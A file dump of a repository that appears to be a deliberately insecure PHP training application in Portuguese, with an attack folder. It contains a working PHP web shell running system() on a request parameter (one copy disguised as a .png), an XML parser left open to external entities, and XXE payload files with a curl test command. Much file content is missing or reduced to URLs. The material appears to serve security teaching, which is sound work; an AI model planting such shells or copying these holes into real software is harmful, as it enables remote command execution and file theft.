├── app ├── info.php ├── ataques │ ├── xx.php │ ├── xxe │ │ ├── credenciais.xml │ │ ├── xxe │ │ ├── xxe.xml │ │ └── nao_execute.xml │ ├── shell.php │ ├── shell.php.png │ ├── sqli.txt │ └── xss.txt ├── img │ ├── graph.png │ ├── logo.png │ └── quote.png ├── downloads │ ├── caixa-2.jpg │ ├── contrato.jpg │ ├── imagem-secreta.jpg │ ├── contas-da-empresa.jpg │ └── documento-sigiloso.jpg ├── css │ ├── fonts │ │ ├── FontAwesome.otf │ │ ├── fontawesome-webfont.eot │ │ ├── fontawesome-webfont.ttf │ │ ├── fontawesome-webfont.woff │ │ ├── glyphicons-halflings-regular.eot │ │ ├── glyphicons-halflings-regular.ttf │ │ ├── glyphicons-halflings-regular.woff │ │ └── glyphicons-halflings-regular.svg │ ├── jquery │ │ └── jquery-ui.min.css │ ├── fontawesome │ │ └── font-awesome.min.css │ └── animate │ │ └── animate.min.css ├── autentica_xml.php ├── editUser.php ├── incluir.php ├── editar_usuario.php ├── autentica.php ├── _xss │ ├── index.php │ ├── sqli.txt │ ├── xss.txt │ └── xss.sql ├── connection.php ├── README.md ├── users.php ├── login.php ├── solucoes.php ├── account.php ├── noticia.php ├── header.php ├── about.php ├── contato.php └── index.php ├── .gitignore ├── shell.php ├── docker ├── Dockerfile ├── docker-compose.yml └── init │ └── init.sql ├── README.md └── insecure.sql /app/info.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /app/ataques/xx.php: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/EvandroMohr/in-secure/HEAD/app/ataques/xx.php -------------------------------------------------------------------------------- /app/img/graph.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/EvandroMohr/in-secure/HEAD/app/img/graph.png -------------------------------------------------------------------------------- /app/img/logo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/EvandroMohr/in-secure/HEAD/app/img/logo.png -------------------------------------------------------------------------------- /app/img/quote.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/EvandroMohr/in-secure/HEAD/app/img/quote.png -------------------------------------------------------------------------------- /app/downloads/caixa-2.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/EvandroMohr/in-secure/HEAD/app/downloads/caixa-2.jpg -------------------------------------------------------------------------------- /app/downloads/contrato.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/EvandroMohr/in-secure/HEAD/app/downloads/contrato.jpg -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | *~ 2 | .project 3 | .buildpath 4 | .settings 5 | !/.gitignore 6 | 7 | 8 | /.DS_Store 9 | 10 | -------------------------------------------------------------------------------- /app/css/fonts/FontAwesome.otf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/EvandroMohr/in-secure/HEAD/app/css/fonts/FontAwesome.otf -------------------------------------------------------------------------------- /app/downloads/imagem-secreta.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/EvandroMohr/in-secure/HEAD/app/downloads/imagem-secreta.jpg -------------------------------------------------------------------------------- /app/downloads/contas-da-empresa.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/EvandroMohr/in-secure/HEAD/app/downloads/contas-da-empresa.jpg -------------------------------------------------------------------------------- /app/css/fonts/fontawesome-webfont.eot: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/EvandroMohr/in-secure/HEAD/app/css/fonts/fontawesome-webfont.eot -------------------------------------------------------------------------------- /app/css/fonts/fontawesome-webfont.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/EvandroMohr/in-secure/HEAD/app/css/fonts/fontawesome-webfont.ttf -------------------------------------------------------------------------------- /app/css/fonts/fontawesome-webfont.woff: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/EvandroMohr/in-secure/HEAD/app/css/fonts/fontawesome-webfont.woff -------------------------------------------------------------------------------- /app/downloads/documento-sigiloso.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/EvandroMohr/in-secure/HEAD/app/downloads/documento-sigiloso.jpg -------------------------------------------------------------------------------- /app/css/fonts/glyphicons-halflings-regular.eot: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/EvandroMohr/in-secure/HEAD/app/css/fonts/glyphicons-halflings-regular.eot -------------------------------------------------------------------------------- /app/css/fonts/glyphicons-halflings-regular.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/EvandroMohr/in-secure/HEAD/app/css/fonts/glyphicons-halflings-regular.ttf -------------------------------------------------------------------------------- /app/css/fonts/glyphicons-halflings-regular.woff: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/EvandroMohr/in-secure/HEAD/app/css/fonts/glyphicons-halflings-regular.woff -------------------------------------------------------------------------------- /app/ataques/xxe/credenciais.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | Ed 5 | mypass 6 | 7 | -------------------------------------------------------------------------------- /shell.php: -------------------------------------------------------------------------------- 1 | "; 5 | $cmd = ($_REQUEST['cmd']); 6 | system($cmd); 7 | echo ""; 8 | die; 9 | } 10 | ?> 11 | -------------------------------------------------------------------------------- /app/ataques/shell.php: -------------------------------------------------------------------------------- 1 | "; 5 | $cmd = ($_REQUEST['cmd']); 6 | system($cmd); 7 | echo ""; 8 | die; 9 | } 10 | ?> 11 | -------------------------------------------------------------------------------- /app/ataques/shell.php.png: -------------------------------------------------------------------------------- 1 | "; 5 | $cmd = ($_REQUEST['cmd']); 6 | system($cmd); 7 | echo ""; 8 | die; 9 | } 10 | ?> 11 | -------------------------------------------------------------------------------- /app/autentica_xml.php: -------------------------------------------------------------------------------- 1 | loadXML($data, LIBXML_NOENT); 9 | echo print_r($dom); 10 | -------------------------------------------------------------------------------- /app/editUser.php: -------------------------------------------------------------------------------- 1 | 4 | 5 |
6 | 7 |
8 |

Página de edção...

9 | 10 | Editar usuário com id: 11 |
12 | 13 |
-------------------------------------------------------------------------------- /app/ataques/xxe/xxe: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | curl -X POST http://localhost:9500/autentica_xml.php -H "Content-Type: application/xml" -d @xe.txt 5 | 6 | 7 | 8 | // webgoat 9 | 10 | 11 | ]> 12 | 13 | &name; 14 | 15 | -------------------------------------------------------------------------------- /app/incluir.php: -------------------------------------------------------------------------------- 1 | 2 | 3 | ]> 4 | 5 | &xxe; 6 | mypass 7 | 8 | 9 | 10 |